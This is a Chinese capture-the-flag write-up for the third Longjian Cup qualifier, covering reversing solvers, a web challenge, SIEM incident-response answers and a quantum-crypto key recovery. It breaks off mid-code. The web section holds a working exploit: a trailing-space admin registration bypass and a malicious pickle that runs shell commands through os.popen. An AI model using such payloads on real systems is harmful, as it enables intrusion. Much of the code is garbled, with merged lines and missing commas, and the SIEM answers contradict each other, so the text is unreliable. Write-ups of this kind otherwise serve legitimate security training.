第三届“陇剑杯”网络安全大赛预选赛 WP

· 2025-09-12 14:41 · 5 阅读

原创 NEURON 2025-09-12 14:41 广东

第三届“陇剑杯”网络安全大赛预选赛Writr-up

REVERSE

Lesscommon

Main函数

要求的值

作为key

While轮加密  

#include <iostream>#include <vector>#include <cstdint>#include <cstring>using namespace std;uint32_trol32(uint32_t x, uint32_t n) {    n &= 0x1F;    return (x << n) | (x >> (32 - n));}uint32_tror32(uint32_t x, uint32_t n) {    n &= 0x1F;    return (x >> n) | (x << (32 - n));}uint32_tu32(uint32_t x) {    return x & 0xFFFFFFFF;}vector<uint32_tkey_schedule(const vector<uint8_t>& key_bytes, size_t S_len) {    size_t L_len = (key_bytes.size() + 3) / 4;    if (L_len == 0) L_len = 1;    vector<uint32_tL(L_len, 0);    for (int i = key_bytes.size() - 1; i >= 0; --i) {        int idx = i / 4;        L[idx] = u32((L[idx] << 8) + key_bytes[i]);    }    vector<uint32_tS(S_len, 0);    S[0] = 1766649740;    uint32_t add_const = 1422508807;    for (size_t j = 1; j < S_len; ++j)        S[j] = u32(S[j - 1] + add_const);    uint32_t v15 = 0, v16 = 0;    size_t idxS = 0, idxL = 0;    size_t rounds = 3 * max(S_len, L_len);    for (size_t k = 0; k < rounds; ++k) {        uint32_t v = S[idxS];        uint32_t v7 = u32(k ^ rol32(u32(v15 + v16 + v), 3));        S[idxS] = v7;        v16 = v7;        uint32_t v_l = L[idxL];        uint32_t v8 = u32(rol32(u32(v15 + v7 + v_l), (v7 + v15) & 0x1F));        L[idxL] = v8;        v15 = v8;        idxS = (idxS + 1) % S_len;        idxL = (idxL + 1) % L_len;    }    return S;}voiddecrypt_block(const uint8_t* block8, uint32_t* S, int rounds_count, uint8_t* out) {    uint32_t v15 = *(uint32_t*)(block8);    uint32_t v13 = *(uint32_t*)(block8 + 4);    for (int k = rounds_count; k >= 1; --k) {        uint32_t tmp = v13 ^ v15;        uint32_t v13_in = ror32(tmp, v15) - S[2 * k + 1];        uint32_t tmp2 = v15 ^ v13_in;        uint32_t v15_in = ror32(tmp2, v13_in) - S[2 * k];        v13 = v13_in;        v15 = v15_in;    }    uint32_t v14 = v15 - S[0];    uint32_t v12 = v13 - S[1];    memcpy(out, &v14, 4);    memcpy(out + 4, &v12, 4);}vector<uint8_tdecrypt_buffer(const vector<uint8_t>& cipherbytes, vector<uint32_t>& S, int rounds_count) {    if (cipherbytes.size() % 8 != 0)        throw runtime_error("Cipher length must be multiple of 8");    vector<uint8_tout(cipherbytes.size());    for (size_t i = 0; i < cipherbytes.size(); i += 8)        decrypt_block(&cipherbytes[i], S.data(), rounds_count, &out[i]);         uint8_t pad_len = out.back();    if (pad_len >= 1 && pad_len <= 8) {        bool valid = true;        for (size_t i = out.size() - pad_len; i < out.size(); ++i) {            if (out[i] != pad_len) valid = false;        }        if (valid) out.resize(out.size() - pad_len);    }    return out;}intmain() {    vector<uint8_t> key_bytes = { 0x01,0x23,0x45,0x670x89,0xAB,0xCD,0xEF,                                  0xFE,0xDC,0xBA,0x980x76,0x54,0x32,0x10 };    vector<uint8_t> cipher_bytes = {        0x4C,0x6F,0xAB,0xF3,0x13,0x78,0xE2,0xF6,        0x86,0x9D,0x1C,0x99,0xDE,0x85,0xCC,0x10,        0xE8,0x28,0xEE,0x05,0x92,0x21,0x4B,0x34,        0x43,0x28,0x17,0x3C,0x56,0x5B,0x73,0x51,        0x9F,0x8A,0x1D,0x0F,0x97,0x34,0x2C,0x56,        0x42,0x9F,0x69,0x48,0xA3,0xD5,0x8A,0xF5    };    int rounds_count = 12;    int S_len = 2 + 2 * rounds_count;    vector<uint32_t> S = key_schedule(key_bytes, S_len);    vector<uint8_t> plain = decrypt_buffer(cipher_bytes, S, rounds_count);    cout << " flag: ";    for (auto c : plain) cout << c;    cout << endl;    return0;}

参考

RC5对称加密算法-CSDN博客RC6加密解密算法实现(C语言)_c++rc6算法解密-CSDN博客

Prover

比对值 多约束校验

用户输入一个固定长度 的字符串。校验前缀 flag{ 和后缀 }。

中间 16 个字符(i=5~20)被循环映射到 byte_6085 和 dword_608A 表。

核心计算:

累计校验与哈希 并进行填充和分组处理,使用多轮 循环左移 (ROL) + 加减 + 异或 + 常数 混合,与硬编码常量对比,如果全部匹配,则输出 Correct!。

Z3 约束求解

from typing importListfrom z3 import *defr8(x,r):return RotateLeft(x,r%8)defr32(x,r):return RotateLeft(x,r%32)defr64(x,r):return RotateLeft(x,r%64)defpop32(x):  a = x - (LShR(x,1) & BitVecVal(0x55555555,32))  b = (a & BitVecVal(0x33333333,32)) + (LShR(a,2) & BitVecVal(0x33333333,32))  c = (b + LShR(b,4)) & BitVecVal(0x0F0F0F0F,32)  d = c * BitVecVal(0x01010101,32)return LShR(d,24)mvals = [0x03,0x05,0x09,0x0B,0x0D]xvals = [0xA5,0x5C,0xC3,0x96,0x3E,0xD7,0x21]solver = Solver()f = [BitVec(f'f{i}',8for i inrange(22)]for i,cst inenumerate(b'flag{'):  solver.add(f[i]==cst)solver.add(f[21]==ord('}'))for i inrange(5,21):  solver.add(Or(And(f[i]>=0x30,f[i]<=0x39),And(f[i]>=0x61,f[i]<=0x66)))tb = []for i inrange(22):  tmp = (BitVecVal(mvals[i%5],8)*f[i] + BitVecVal((19*i+79)&0xFF,8))  tmp = Extract(7,0,tmp)  tmp ^= BitVecVal(xvals[i%7],8)  tb.append(r8(tmp,i%5))tb += [BitVecVal(0,8),BitVecVal(0,8)]dw = []for k inrange(0,24,4):  d = ZeroExt(24,tb[k]) | (ZeroExt(24,tb[k+1])<<8) | (ZeroExt(24,tb[k+2])<<16) | (ZeroExt(24,tb[k+3])<<24)  dw.append(Extract(31,0,d))v42 = Extract(7,0,Sum([pop32(d) for d in dw]))v53,v52,v51,v50 = BitVecVal(0,16),BitVecVal(0,8),BitVecVal(0,8),BitVecVal(0,8)for j inrange(22):  v53 = Extract(15,0,v53 + ZeroExt(8,tb[j]))  v52 = v52 ^ tb[j]  v51 = Extract(7,0,v51 + Extract(7,0,(tb[j]*BitVecVal(j+1,8))))  v50 = Extract(7,0,v50 + Extract(7,0,pop32(ZeroExt(24,tb[j]))))idx = lambda i: dw[i%6]v21 = idx(0)v20 = r32(v21,5)v37 = (idx(2)-BitVecVal(1640531527,32)) ^ v20v18 = idx(4) ^ BitVecVal(0xDEADBEEF,32)v19 = idx(7)n172 = (r32(v19,11)+v18+v37) ^ BitVecVal(0xA5A5A5A5,32)v16 = (BitVecVal(0xFFFFFFFF & (-2048144789),32) * idx(1))v17 = idx(5)v35 = r32(v17,13)+v16v15 = idx(8)+BitVecVal(2135587861,32)v13 = (BitVecVal(668265261,32)*idx(3)) ^ v15 ^ v35v14 = idx(9)v34 = (r32(v14,17)+v13) ^ BitVecVal(0x5A5AA5A5,32)v12 = idx(0v33 = idx(3)^v12^BitVecVal(0x13579BDF,32)v11 = idx(1)v10 = idx(2)v32 = r32(v10,7)+v11for m inrange(2):  v9 = r32((BitVecVal(m,32)^BitVecVal(0x9E3779B9,32))-(BitVecVal(2048144789,32)*v32),5*m+5)  v30 = r32(v32,11)^v32^v9^v33  v33 = v32  v32 = v30v8 = r32(v33,3)n191 = (r32(v32,11)+v8) ^ BitVecVal(0x5A5AA5A5,32)h64 = BitVecVal(0x243F6A8885A308D3,64)for i inrange(22):  sh = 8*(i&7)  mixed = h64 ^ (ZeroExt(56,tb[i]) << sh)  h64 = r64(BitVecVal(0x9E3779B185EBCA87,64)*mixed,13tmp = BitVecVal(0xBF58476D1CE4E5B9,64)*(h64^LShR(h64,30))v3 = BitVecVal(0x94D049BB133111EB,64)*(tmp^LShR(tmp,27))n161 = v3 ^ LShR(v3,31)solver.add(n161 == BitVecVal(0x9B30518C600D26DD,64))solver.add(Extract(31,0,n161) == BitVecVal(1611474653,32))solver.add(n191 == BitVecVal(1911915815,32))solver.add(((v32+v33)^BitVecVal(0xA5A5A5A5,32)) == BitVecVal(2323396502,32))solver.add(v34 == BitVecVal(4019606934,32))solver.add(n172 == BitVecVal(1727223967,32))solver.add(v42 == BitVecVal(0x50,8))solver.add(v50 == BitVecVal(0x50,8))solver.add(v51 == BitVecVal(0x43,8))solver.add(v52 == BitVecVal(0x55,8))solver.add(v53 == BitVecVal(0x0913,16))# solveif solver.check() == sat:  model = solver.model()  flag = ''.join(chr(model[f[i]].as_long()) for i inrange(22))print("done:",flag)else:print("nonooonono")

flag{7ac1d3e59f0b2468}

Dragon

- 在 .rdata 中找到被逐项比较的 DWORD 表(expected_values),确认比对方向- 对目标函数先看反编译,再落回反汇编核对关键常量与循环形态

另一部分

flag 输入校验的入口函数。

check_func() 是真正逐字节比较输入与 .rdata 里的 expected 表的地方。往下反汇编 off_140024150 调用的函数(即 check_func)来看:它应该做了 XOR / 轮移 / 直接逐字节对比。找到 expected 表地址, xxtea算法求解密文和密钥

#include <iostream>#include <vector>#include <fstream>#include <cstdint>#include <string>#include <regex>using namespace std;// 左循环移位uint32_trol32(uint32_t x, int r) {    return ((x << r) | (x >> (32 - r))) & 0xFFFFFFFFu;}// XXTEA 核心混合函数uint32_tmx(uint32_t y, uint32_t z, uint32_t s, const vector<uint32_t>& k, int p, int e) {    uint32_t t = ((z << 4) ^ (y >> 5)) + ((y << 4) ^ (z >> 5));    t &= 0xFFFFFFFFu;    int idx = ((p & 3) ^ e) & 3;    uint32_t u = ((s ^ y) + (k[idx] ^ z)) & 0xFFFFFFFFu;    return (t ^ u) & 0xFFFFFFFFu;}// XXTEA 解密函数vector<uint32_txxtea_decrypt(vector<uint32_t> v, const vector<uint32_t>& k,    uint32_t rounds = 0x2Auint32_t delta = 0x87654321) {    size_t n = v.size();    if (n < 2return v;    uint32_t s = (rounds * delta) & 0xFFFFFFFFu;    while (rounds > 0) {        int e = (s >> 2) & 3;        for (int p = (int)n - 1; p >= 0; --p) {            uint32_t y = v[(p + 1) % n];            uint32_t z = v[(p - 1 + n) % n];            v[p] = (v[p] - mx(y, z, s, k, p, e)) & 0xFFFFFFFFu;        }        s = (s - delta) & 0xFFFFFFFFu;        rounds--;    }    return v;}// 将 32 位 word 转换为字节流vector<uint8_twords_to_bytes(const vector<uint32_t>& words) {    vector<uint8_t> data;    for (uint32_t w : words) {        data.push_back((uint8_t)(w & 0xFF));        data.push_back((uint8_t)((w >> 8) & 0xFF));        data.push_back((uint8_t)((w >> 16) & 0xFF));        data.push_back((uint8_t)((w >> 24) & 0xFF));    }    // 去掉末尾填充 0x00    while (!data.empty() && data.back() == 0x00) {        data.pop_back();    }    return data;}// 尝试检测 flag 格式stringextract_flag(const string& text) {    regex flag_pattern(R"(flag\{[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\})");    smatch match;    if (regex_search(text, match, flag_pattern)) {        return match.str(0);    }    return"";}intmain() {    // 已知密文    vector<uint32_t> cipher_words = {        0x0EB4D6CE0x521DDE8B0x21ED24FD,        0xBA10EC260x3339931C0x46DC0E7D,        0xCC469F440x64BA70790x64777977,        0xB2151C980xDBCC5AA1,    };    // 原始密钥    vector<uint32_t> K_raw = { 0x123456780x9ABCDEF00xFEDCBA980x76543210 };    // 派生密钥    vector<uint32_t> K_derived;    for (auto x : K_raw) {        K_derived.push_back(rol32(x ^ 0x13579BDF7));    }    // 解密    auto plain_raw = xxtea_decrypt(cipher_words, K_raw);    auto plain_der = xxtea_decrypt(cipher_words, K_derived);    // 转字节    auto data_raw = words_to_bytes(plain_raw);    auto data_der = words_to_bytes(plain_der);    // 写文件    ofstream("candidate_raw.bin", ios::binary).write((char*)data_raw.data(), data_raw.size());    ofstream("candidate_der.bin", ios::binary).write((char*)data_der.data(), data_der.size());    // 转换成字符串    stringdecoded(data_der.begin(), data_der.end());    string flag = extract_flag(decoded);    if (!flag.empty()) {        cout << "  flag: " << flag << endl;    }    else {        cout << " nono" << decoded << endl;    }    return0;}

flag{cbee3251-9cff-4542-bf15-337bb8df7f3f}

WEB

Forge

提示admin才能登录,注入admin提示需要绕过,经过测试可以通过添加空格的方式来注册admin覆盖密码,登录后台可以上传pkl文件,查看示例文件发现是`pickle`序列化数据,有些防护,发现os.popen没有ban,使用以下exp直接打

import pickleimport requestsdefupload(payload):    u = url + "upload"    r = req.post(u, files={"file": ("123.pkl", payload)})    return r.text.split('<strong>123.pkl</strong>')[1].split('<form action="/execute/')[1].split('"')[0]defexec_(id):    u = url + "execute/" + id    print(req.post(u).text)classCHIKAWA:    def__init__(self, payload):        self.model_name = "123"        self.data = payload.encode()        self.parameters = []url = "http://web-e02460973d.challenge.longjiancup.cn:80/"req = requests.session()req.post(url + "register", data={"username""admin ""password""admin"})req.post(url + "login", data={"username""admin""password""admin"})payload = f"""cospopen(Vtouch "/tmp/`/bin/ca? /?lag`"tR."""payload = pickle.dumps(CHIKAWA(payload))exec_(upload(payload))payload = f"""coslistdir(V/tmp/tR."""payload = pickle.dumps(CHIKAWA(payload))exec_(upload(payload))

应急

SIEM

flag1:攻击者的ip是什么192.168.41.143直接搜索:"GET /" ,得到192.168.41.143

flag2:在攻击时间段一共有多少个终端会话登录成功13flag3:攻击者遗留的后门系统用户是什么hacker尝试搜索 admin、test 、hacker常用的用户名
flag4:提交攻击者试图用命令行请求网页的完整url地址http:192.168.41.136/.back.php?pass=id直接搜索 “GET /” 找到.back.php
flag5:提交wazuh记录攻击者针对域进行哈希传递攻击时被记录的事件ID1734511987.34749419通过搜索“hash attack” 关键字flag6:提交攻击者对域攻击所使用的工具查询语法:data.win.system.eventID:7045 AND data.win.eventdata.serviceName:PSEXESVC
flag7:提交攻击者删除DC桌面上的文件名c:\users\administrator</font>desktop\21.txt

flag为flag{3bfc26f5d9f932ccf73f356019585edf}

flag1:攻击者的ip是什么?192.168.41.143flag2:在攻击时间段一共有多少个终端会话登录成功13flag3:攻击者遗留的后门系统用户是什么?hackerflag4:提交攻击者试图用命令行请求网页的完整url地址。http:1192.168.41.136/.back.php?pass=idflag5:提交wazuh记录攻击者针对域进行哈希传递攻击时被记录的事件ID。1734511987.34749419flag6:提交攻击者对域攻击所使用的工具。mimikatzflag7:提交攻击者删除DC桌面上的文件名。ossec.conf

flag格式flag{md5(flag1-flag2-flag3-...-flag6-flag7)}

量子

Qrandom

通过量子测量结果间接暴露密钥的汉明重量信息,将复杂的量子密码问题转化为经典的距离几何重构问题:已知多个参考向量与目标未知向量的汉明距离,反推目标向量的具体值。

  1. 1. 量子测量的侧信道泄露机制函数 quantum_probs(key) 的返回值实际上揭示了关键信息:

技术原理解析:

  • • Initialize 操作使用密钥的二进制位作为256维量子态的振幅,并进行归一化处理

  • • 随后的  Hadamard变换操作后,基态  的振幅等于所有初始振幅的算术平均值

  • • 测量概率等于振幅的模长平方,经过数学化简可得 

因此,每个浮点数输出直接对应该轮密钥中1比特的数量与总比特数的比值:

  1. 2. 汉明距离约束系统的构建

程序循环中同时输出了 xor(secret, key).hex(),设其为 (已知量)。

根据二进制向量的性质:

结合步骤1的结果,我们获得了 111个独立的距离约束条件

其中  表示 secret 对应的256位二进制向量。

  1. 3. 整数线性规划(ILP)模型转换

将汉明距离约束转换为标准的ILP问题形式:

对于每个约束 

通过异或运算的线性化变换:

变换说明:

  • • 左侧:未知二进制变量  的线性组合

  • • 系数:(已知)

  • • 右侧:完全由已知量构成的常数项

这样构成了111个线性等式约束,通常足以唯一确定256个二进制变量的值。在实际应用中,这类随机生成的约束系统具有很强的"刚性",解的唯一性得到保证。

  1. 4. 密钥恢复与最终解密

求解ILP问题得到 (即32字节的 secret)后,按照原始加密流程:

AES.new(key=md5(secret).digest(), nonce=b"suan", mode=AES.MODE_CTR)

使用提取的最后一段十六进制密文进行AES-CTR解密即可获得flag。

import reimport mathimport binasciiimport sysimport timefrom hashlib import md5, sha256from Crypto.Cipher import AESimport pulpfrom typing importListTupleOptionalUnionfrom dataclasses import dataclassimport numpy as np@dataclassclassQuantumMeasurement:    """量子测量"""    probability: float    hex_value: str    hamming_weight: Optional[int] = None    bit_vector: Optional[List[int]] = NoneclassCryptographicSolver:        def__init__(self, verbose: bool = False):        self.verbose = verbose        self.measurements: List[QuantumMeasurement] = []        self.secret_bits: Optional[List[int]] = None            deflog(self, message: str) -> None:        ifself.verbose:            print(f"[{time.strftime('%H:%M:%S')}{message}")        @staticmethod    defvalidate_hex_string(hex_str: str) -> bool:        """验证十六进制字符串的有效性"""        try:            int(hex_str, 16)            returnlen(hex_str) % 2 == 0        except ValueError:            returnFalse        @staticmethod    defcompute_hamming_weight(data: Union[bytesstrList[int]]) -> int:        """计算汉明重量(1的个数)"""        ifisinstance(data, str):            data = bytes.fromhex(data)        ifisinstance(data, bytes):            returnbin(int.from_bytes(data, 'big')).count('1')        elifisinstance(data, list):            returnsum(data)        else:            raise TypeError("Unsupported data type for hamming weight calculation")DUMP = r"""0.5117187499999999fd2aa1a3afcc62c28b18143f2d66ad6166aa15b719610c2eef61146c49d25b740.546874999999999922f0454594d938058fa696340e98df141cdc8a7c11b9f4e7aa71e1dc58a533160.496093749999999948e21290f6c53715a739c97df0424cf647ad2ba07b9eb54ec48e037c01d1201730.46874999999999983fd315c27eeaabc334b71ea2f35f4fe1a52d726f89e8caa3d77c3b47756824f330.4999999999999999a56be31339e4f96650931664c315da0519b67670729d6573f74e5061d3b4ef780.51171875f11e2aa92c0b4ba1bff4913a89363cdd1f98aaaea7c52bd6e8aa83e1e52398ee0.56251d9043bb2505d2d54a8d4ef8dc7db940c1d6c8ba79291c1b1e5cedd819d318c30.46093758b57cba2568076c1248aec40dacc20aa0d63a2ff928db1be07d316a875e70a740.48046875000000006a585f5d79e9f5d29a872d73f7b84c19bde6ffa87c73c08220d2ff9e537cdfa990.55078125111d5531bbbc44151d606bd7edc733a9d9c123aa2a1819317d0b266a35d112610.49218749999999993ce134401945e624cf0c8fb642ffe13d89b44fc949c66add3c6d1c8bc8ec5bb50.5078125000000001603b4c21612f10c005dbe6c1d2990605f2986c4737192a9b32e5d420451d8cd30.468749999999999831b2e321549c16a345dcb6da3bbc3027331786bf57802f10a66ea4336c568d9370.570312579ef123308347411ac19458ea414e3d64f6ec51e4c89536adc6ef0c9f7d1fde80.5546875bfbd5c244c43091b332dfb7dcea6a1e60911871e656b7374124f9bbe818329d40.5859375b3feb74cad8970c83a0546612d339f64a5a6797265ab5b8cd1855790073b41380.5429687499999998499047c5aa80f9338740a174421161b384a0e434803fc976c17a0239ce21e6e80.48046875000000020f4657e467882871e5f06422720df63caf773e4c549365f08e94d5435a540a230.5195312499999999858148b3aced8eb3cda39d6cf135db2c666fea67c577c8ded214ef9330bbe2040.496093750000000062b97a0ab6389378bddfc2e4e3790fbf398154d86d3336a1ae5c858ad2d57df670.5664062499999999ddde73d5956f31813e2b28ff6557a3efed626128d0e63fcc40cac673cd20bb9a0.4804687500000000662ef6d65ed47ec8dc2a31dec86c03ae90500d909d5137e704d49a09f5910174b0.589843753c7af3550d0c0ca72b4b64ff77f73f201049b63263a4d8727f14d3f30ac3ed7c0.4843749999999998d3caddb572576ed0a42eae546ddca106f4902118a87beba2060e9bda34a961560.4843750000000001e0fbe1f2c2ecceba91402a98e7b3835ceffd788b8ac0b4f30124804af90b5ee20.421875863d68e890ff445cbb1a1b90b1c22e3fbc8d45930990aeb30c638430ee58d1ec0.546875a8a066beb0349e65abd4ea45feb7d46d8e94ffe880ad7a5ffd49fcb0d50e5e280.5351562499999999295f6373925f502df637c91b41fdecb3beaa3a6b22d7c858990b55e88ec571020.480468750000000067feeebf573bcc48d9b694fee74a437416bd8b5757fa98f36ab1429574f04a28a0.4921874999999999fde3b6fdc733f277f1b99d9fe7b2fd73b2f04216a91bf918a3ae16109b99b7e00.5351562499999999294acfbd65493794a899890113fe0c218771c9344826f9efba5cd5f42f4a625b0.519531249999999890c84e613d185472885c5a631bd19f915890d114138bcca2e760b64898c739260.5234375eed5a4c8eee858d2192ff459647c105d321328672ea7586101cc67152429614a0.464843749999999944e04a57fad42e73393e572da79eaaefdf212b355129d8c1c05e6d5bb3ac81dd50.5585937499999997314c044a108f5a2b4467197fec0d7bc75b8c24b3c567a3ce905292bf1b5b3df30.4492187500000001e908d2b7b9148354b521af1b67c5b7dbcefcbc8c91582829135959197d0138ef0.5039062553ed5aba96729230c6e1ddfa156a1c9f71a492693fea0b76f444c8a80c74debb0.4648437499999998cac13b98a0f07174d0d7e767ce64393b7d05684ad1cadcd128bac7984ba7671b0.5156258d5476d1a9b250df323576f9df6db4f1d0a5b351f52148884f15e4613bc41a720.499999999999999954a50e06f8c7bf1122c174af94c7be558960a3cffdebee8e9b738792918bd1c70.503906254deb53417c94ad22ddf0582499a79f171a19fc2f6ccba2bc2c22509bf754e8a70.5273437499999998b50f353a62a31ac14d2f0a986c6cbbf5a8d4ea5eccdc4ab6076862492775cf570.4843749999999998e15bd80e2bc72d5b5040d3c6ecff2f0f3037606283280006a1bc5f66b805ca0c0.46874999999999983611b0ef54d3364d4b05720be4506428eb5276e2ab1c145df5b50d406369f0cd30.50390625f96b7a20d1dd85bc4d993d37246ea962c8615e206d78ba4006121ce7c3c845fd0.49999999999999995e0677a79e853f4ca636e0ec254af819337c987a01c86b9aac329f2a04a78e2d0.4921874999999999d413a3b7bba53d59ce1faa17d2b0e39ca0ea924a53a9e9652a0e488c5a8ff8c90.5039062558075258973146991dfa133512f17f3766b7fa9a9104697f61d0a097ad1e88090.5039062512391e770425aa8539fc277587f211a386fe1130f520661d6ceca89b3245e4080.4335937499999999412a39c2b5d9cbc9438f2a427cee74e9d4e1be675439df2683e6a8feb5fd26c1b0.4843749999999998b58885913fcc80b2f242f24aba436784a6b2ee5597eaae78ae1ba44a42e492a60.49218749999999997bf54d3c7093dea63d261d3abe8bfe9a59d9bba47c756f1a20ae24c4b93a8e110.51171874999999997e34b3c40d584f22c2a40c2e268acd2e45bb8ae62ea398cdf2f6e8299bd2fc5b0.515625000000000159fa32f46f24e198bb834037391552e4ddbac4426cd969aa9cbdea5effb26eda0.4882812499999997cca09e4f94debe6cbc3e5eb0e45c6dd9224cc8c3f1389e2e84b42a6235f8e8510.58984374999999996e76e668f84fcd553b5a81db1f5cf5dc0ba817e856004e16b24db4a3c1149afc0.49609374999999994bc847871e680e764c6b00c4a11860975a9b139da9bc7f8821f09c050e64c82d30.519531249999999800ee96ba75f751c85fc9d8957238b076ed5108ae9aaa2c1eed0be9f4ded463080.47656250000000006dbcf47f56b016e0bc125a1fddee04b09a88fa612e7d5c43f05200e1e4365ca910.53515624999999984d7b5ae3c80b5d2b1022c7f1bb89b3b2dd9f927562ee5002980f51d31aad93f60.562562b0579da7b901be6ebc30fdcf8e1f4fa9d34dbf732291e7753a83f7ce49b6e60.53515625e71cb0a886ad9328eae1c13720d4815def47777e781a78ef3847423af106adfc0.50390625a06ce345aa3aa11e9befb8bb5f87e7927b345f85a977842b64dec58dedb8bec80.4687499999999998384689ca6163b09aac671e57992f7993867a12511298d83666b6fda06922689ec0.51562500000000016a546bab39b8d3a28859c03b9ee9f7e0c542563c8e99dcbcc18a7327102f38fe0.46093751f91d3e6a4e92f0f66bb7421a8dd6a985f7f790ca80906e0ea391c9746e1ea340.48046875000000006f6db8c9667b78d33d8c81f9beba1d83761050b4c5928d455d5794124618e24b50.50390625cc52765dc245aefa474a3313ebf9f5e3422d98cdba78aa2d1a96c3bb6a9d1e630.488281250000000064abec2f612ad92f8f10b8f62d97ead29a06698274e3fe1d6c7985dffcb04c6020.527343749999999844a6b991ca5f95d7b5ae40b7f5abe058a27091de4508335d14d955b3a9d3caba0.44140625000000006d0da3ed48bb65b145ea5d431fbec6341b2e0b9a6fda7b3ab9b08d1c81ea6be870.5273437499999998b1c842a7bc343044e9590c9793d282349a0bb8afd778a7f23dd67d75eea723e30.496093750000000066a36edb7803be95b8d86698444a10ca8d02b860e43acb434437cb7ec2d8c439d0.4999999999999999a4c0e50c8687192d1e9e362047dc8163be6077cdfa82a988790a4ef7a692e48b0.52343754572f5961b4b16d93cc65b536342e8ad2a6d732e84ec05001444f649e24cc3420.55078125967962cae2232a2f2e040282ce0dd9d6abb205c37ce21ab81e6c3cfb8a5b1a270.53515624999999997a548018cb6caf10bce308eb00227c7c85b03930def8bcc5e0f2d3b3b7ff69840.5195312499999998c2d593871901e7e8dbb21297d688ad743eae096f64d1b45fb8e4a23ce9b8a9880.46874999999999983128024052655b413d7c45dcf3dc25358f4767d5e23f29c1866caa426d1c06fc00.4999999999999999a6cccde461d27e22d5f28e8592be79cdbd2c5446d4761101cd91044a42f618500.492187561a16eb88464835710de531611d97d62800c995fab1329295a2ad5d9a3931faa0.5156250000000001437cd42f14d5ec5f94597077851f3b8e82c531e8badbc9aad7641af889e0fbef0.51562500000000018c982f6e41b462f54c5e8e907c5ed706ccb39f5e6f390b1184bcb7b32ad241b70.49218749999999999177fcec00391e127aedfe95c0ec1760e5e8164546ee71ef1396aab04a7dc1d60.4843749999999998634cf8b55adcae49a99b2764f8eadc6e45b245a05ba204b2efaa63b1e8fa933e0.53515624999999984fc3874fd754b840b14c03ced6b7d7f6014b727456ef1c0f90fb2a624f0dce500.48046875000000006f0fc49d295c0f9a667470b3b7dfeb36a90869d8909c7965ff0c6f338e7b05e430.5429687499999999dc8e993c3a6d81528d3e251654518d7da37ec42f4c56d9df63ee763a35e58c770.51562500000000017628150d64a29e6d8652f669425d33f95bbcb1a7c53ca35a48654c915fec15840.41796875000000006cdef0832ddd11a5893e243e7e2a52b98cd770eceb993b9bc3aa9537c6a626dcb0.47265625b9a30edd19ce01c3c8bdd17bb7e6e21cde3eb4a414f68aefd177c752eac9d5270.5195312499999998a02044c7e5ab1ebd8abd03b64fc1a2c451e42cdbe5d814af0f6451790ffc52430.47656250000000006def3e5b0e6a8d1ea727f6a42b454a7d2bbf1b79a979572a213cdbb487dcc26400.519531249999999817c1e95971e51eba241971f5ba4a15b33070a59887d29eeae66ba01820d70b340.460937499999999834a5f3fa284a548dfe0f09c194e961003c1ff637d89a425fc1d7ecb82d432af680.52734375b29662d1534340928b6db89c6ffbfa7e479877806eda760f69f4141a27768ec60.472656249999999838a989cfa62002ee44a99385aa4c3feba22f02d15ecacb3cb2c1e3eb5fd19de400.515625980d6b85aa1c47e3da78590f1e304502348a60beec72f7d21012d29d436647e60.50390625e93fb7e577831ae8c19c6b1bb8816e0d80fd6f251e01a314561cffcb66ab7b760.51171875a515daa6b5f82eaa3c2ecba681c058ca099cf448464fc4f5ab089dfa51a7a5520.531249999999999822ce511469b84cc2de4d901d3b16dc8188b655aeaeaf2922df2d644b9f108ce70.5195312499999998897c507aeb5852cc392ca13e5b44c235875e34418ded4a13c526aa4a49da5e3e0.4531250000000001d9cd650909bf6e2421c21b258b20285481b446893186e677ed92e3ae5f75c9180.5546875000000001b90c1e2d24ffc710a718486e4301488dacc84ecec4522f395601e2bd95e4d4210.515625000000000325adab706f8a14b07a70055a005d3da43f932ec41d4846cb78aa122e4b79bb690.53906249999999986d711b113e57aa696e6dd155f4badc1c081807e57aba881097f663f001d373bd0.47656250000000006b0bb3eab2f27f3775d373532cf14586e781a43888fd6f57b90f5a3e28166fade0.4999999999999999b7a716a519607b8b3a295a45ff58181a201ad2344efaff1c5ebf233a9366912b0.5078125000000001d65dea6a58af264f367c66b5abd7e5ad0bfd1864086cd14dd9f0ea85d62fbd940.4999999999999998f73c3290397bd758d090ec7e59d337f9accd0b202245e63c61658719124017690.4804687500000000652c02d7d1d952036852d173e890e548700be67fb052d1d2c8f4f351a1275e04680de35c2a8f96b0445fff81a9c1b783b5fb37c089eb3b40c01ffaaa39a555db8d0967e5ad64bc80930c19aa50ab9"""defadvanced_data_parser(dump_content: str) -> Tuple[List[QuantumMeasurement], str]:        # 多步骤正则表达式解析    probability_pattern = r'(?<![0-9a-f])([01]?\.\d+)'    hex64_pattern = r'\b[0-9a-fA-F]{64}\b'    hex_general_pattern = r'\b[0-9a-fA-F]+\b'       # 提取概率值    probability_matches = re.findall(probability_pattern, dump_content)    probabilities = [float(matchformatchin probability_matches]       # 提取64位十六进制值    hex64_values = re.findall(hex64_pattern, dump_content)        # 提取密文(非64位的十六进制)    all_hex_matches = re.findall(hex_general_pattern, dump_content)    ciphertext_candidates = [x for x in all_hex_matches                            iflen(x) % 2 == 0andlen(x) != 64]        ifnot ciphertext_candidates:        raise ValueError("未找到有效的密文数据")        final_ciphertext = ciphertext_candidates[-1]        # 数据完整性验证    iflen(probabilities) < 111orlen(hex64_values) < 111:        raise ValueError(f"数据不完整: 概率={len(probabilities)}, 十六进制={len(hex64_values)}")        # 构建测量对象列表    measurements = []    for i inrange(111):        measurement = QuantumMeasurement(            probability=probabilities[i],            hex_value=hex64_values[i]        )        measurements.append(measurement)        return measurements, final_ciphertextdefconvert_hex_to_bit_vector(hex_string: str) -> List[int]:    """将十六进制字符串转换为比特向量"""    ifnot CryptographicSolver.validate_hex_string(hex_string):        raise ValueError(f"无效的十六进制字符串: {hex_string}")        byte_data = bytes.fromhex(hex_string)    bit_vector = []        for byte_val in byte_data:        for bit_pos inrange(7, -1, -1):            bit_vector.append((byte_val >> bit_pos) & 1)        return bit_vector# 1) 使用高级解析器处理数据measurements, ciphertext_hex = advanced_data_parser(DUMP)# 预处理测量数据for measurement in measurements:    measurement.bit_vector = convert_hex_to_bit_vector(measurement.hex_value)    measurement.hamming_weight = round(measurement.probability * 256)# 构建矩阵数据Y_matrix = [m.bit_vector for m in measurements]  # 111 x 256 比特矩阵C_vector = [m.hamming_weight for m in measurements]  # 汉明重量向量Yw_vector = [sum(bit_vec) for bit_vec in Y_matrix]  # Y矩阵每行的汉明重量classIntegerLinearProgrammingSolver:    """整数线性规划求解器"""        def__init__(self, problem_name: str = "QuantumSecretRecovery"):        self.problem_name = problem_name        self.problem = None        self.variables = None    